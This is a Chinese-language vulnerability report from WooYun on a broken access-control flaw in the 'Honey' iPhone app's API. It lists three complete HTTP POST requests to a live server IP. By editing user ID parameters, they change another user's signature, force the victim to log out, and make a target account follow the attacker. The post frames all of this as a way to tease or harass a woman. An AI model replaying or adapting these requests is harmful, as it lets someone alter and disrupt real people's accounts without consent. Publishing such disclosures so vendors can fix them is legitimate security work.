WooYun.org

可以说，这水平越权漏洞让你为所欲为的调戏你的女神~ 所以称为“任性”不为过！
首先列举几个参数动作：
------------------------------------------------
★ 改签名
POST /HC_APPClient/client-method/updateUserStatus.json HTTP/1.1
Host: 115.29.5.49:80
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Honey/2.0.2 (iPhone; iOS 8.1.2; Scale/2.00)
Accept-Language: zh-Hans;q=1
Accept-Encoding: gzip, deflate
Content-Length: 60
content=%E6%88%91%E5%96%9C%E6%AC%A2%E4%BD%A0&userId=10000
注：将userId改为你想篡改好友的账户ID，直接提交即可更改。
------------------------------------------------
★ 踢人下线(注销用户)
POST /HC_APPClient/client-method/logout.json HTTP/1.1
Host: 115.29.5.49:80
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Honey/2.0.2 (iPhone; iOS 8.1.2; Scale/2.00)
Accept-Language: zh-Hans;q=1
Accept-Encoding: gzip, deflate
Content-Length: 15
userId=10000
------------------------------------------------
★ 让女神关注我
POST /HC_APPClient/client-method/followUser.json HTTP/1.1
Host: 115.29.5.49:80
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Honey/2.0.2 (iPhone; iOS 8.1.2; Scale/2.00)
Accept-Language: zh-Hans;q=1
Accept-Encoding: gzip, deflate
Content-Length: 37
fromUserId=12345&toUserId=1314520
A=12345(我的ID) B=1314520 (女神的ID) AB值交换即可操作对方关注你。
就例举这三个，其中包括上传照片，删照片等等都可以越权操作。